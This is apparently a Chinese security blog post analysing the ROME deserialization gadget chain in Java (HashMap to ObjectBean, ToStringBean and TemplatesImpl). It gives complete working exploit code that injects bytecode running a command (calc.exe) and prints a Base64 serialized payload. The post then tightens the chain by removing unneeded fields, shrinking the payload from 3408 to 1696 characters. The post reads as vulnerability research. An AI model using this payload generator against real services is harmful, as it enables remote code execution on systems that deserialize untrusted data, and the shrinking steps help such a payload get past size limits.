前言

ROME 链可以通过 TemplatesImpl 加载字节码的方式 RCE,本章将分析 ROME 链并且对其产生的 Payload 进行最小化。

环境搭建

新建模块 quickstart 走起。

然后在 pom.xml 添加好 rome 依赖。

<dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.28.0-GA</version>
    </dependency>
  </dependencies>

漏洞分析

分析 ysoserial 的反序列化调用链,我发现 ObjectBean.toString() 是可以省略的。

* TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

一步一步来,首先我们需要将 HashMap 的键设置为 ObjectBean,进行调试。(代码这里先不贴全太占位置,结尾会贴全)

public class dome {
    public static void main(String[] args) throws Exception{
        ObjectBean objectBean = new ObjectBean(String.class, "x");
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");

        // 执行序列化与反序列化,并且返回序列化数据
        ByteArrayOutputStream bs = unSerial(hashMap);
    }

HashMap<K,V>.readObject(ObjectInputStream)

HashMap<K,V>.hash(Object)


key 被我们设置为 ObjectBean 所以调用到了 ObjectBean.hashCode()。

EqualsBean.beanHashCode()
刚开始我们说过 ObjectBean.toString() 可以省略,我们直接将 _obj 设置为 ToStringBean。

进一步修改 dome,将 "x" 修改为 ToStringBean 对象。

public class dome {
    public static void main(String[] args) throws Exception{
        ToStringBean toStringBean = new ToStringBean(String.class, "x");
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");

        // 执行序列化与反序列化,并且返回序列化数据
        ByteArrayOutputStream bs = unSerial(hashMap);
    }

重新调试,_obj 已经被设置为 ToStringBean。


ToStringBean.toString() 。

ToStringBean.toString(String)

上图的关键点在 BeanIntrospector.getPropertyDescriptors(_beanClass);,它会获取传入的类的 getters 与 setters ,我们传入的是 String 所以获取了 String 的 getters 与 setters 。


回到 ToStringBean.toString(String),此时通过反射去调用对象的 getters 与 setters。


继续修改 dome ,将 ToStringBean 构造方法的参数改为 TemplatesImpl。

public class dome {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(Evil.class.getName());
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");

        // 执行序列化与反序列化,并且返回序列化数据
        ByteArrayOutputStream bs = unSerial(hashMap);
    }

重新调试,直接跟到 ToStringBean.toString(String),到这就行了,后面就是 TemplatesImpl 的调用链了,如果忘记就重新复习一下吧。

最小化Payload

现在序列化的数据进行 Base64 之后大小为 3408 。
通过 4ra1n 师傅 终极Java反序列化Payload缩小技术 文章的 Javassist 构造,进一步缩小 Payload,在进行测试时发现 4ra1n 师傅的方式还可以继续优化,try 可以去掉。修改的 dome 如下,此时大小为 1932 。

public class dome {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("i");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");

        // 执行序列化与反序列化,并且返回序列化数据
        ByteArrayOutputStream bs = unSerial(hashMap);
        // 输出序列化的Base64编码字符
        Base64Encode(bs);
    }

其实除了 4ra1n 师傅文章的方法之外还有一个方法可以缩小 Payload,我们的 Payload 其实有一些多余的数据,这些数据就是删除了也不会对反序列化调用过程造成影响的数据。
继续修改 dome,通过测试删除了一些不影响反序列化调用过程的数据,最终 dome 如下。输出的 Base64 Payload 大小为 1696 。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class dome {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("i");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean", null);
        setFieldValue(objectBean, "_toStringBean", null);

        // 执行序列化与反序列化,并且返回序列化数据
        ByteArrayOutputStream bs = unSerial(hashMap);
        // 输出序列化的Base64编码字符
        Base64Encode(bs);
    }

    private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception{
        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(hashMap);
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
        in.readObject();
        in.close();
        return bs;
    }
    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

效果

点击收藏 | 1 关注 | 3
登录 后跟帖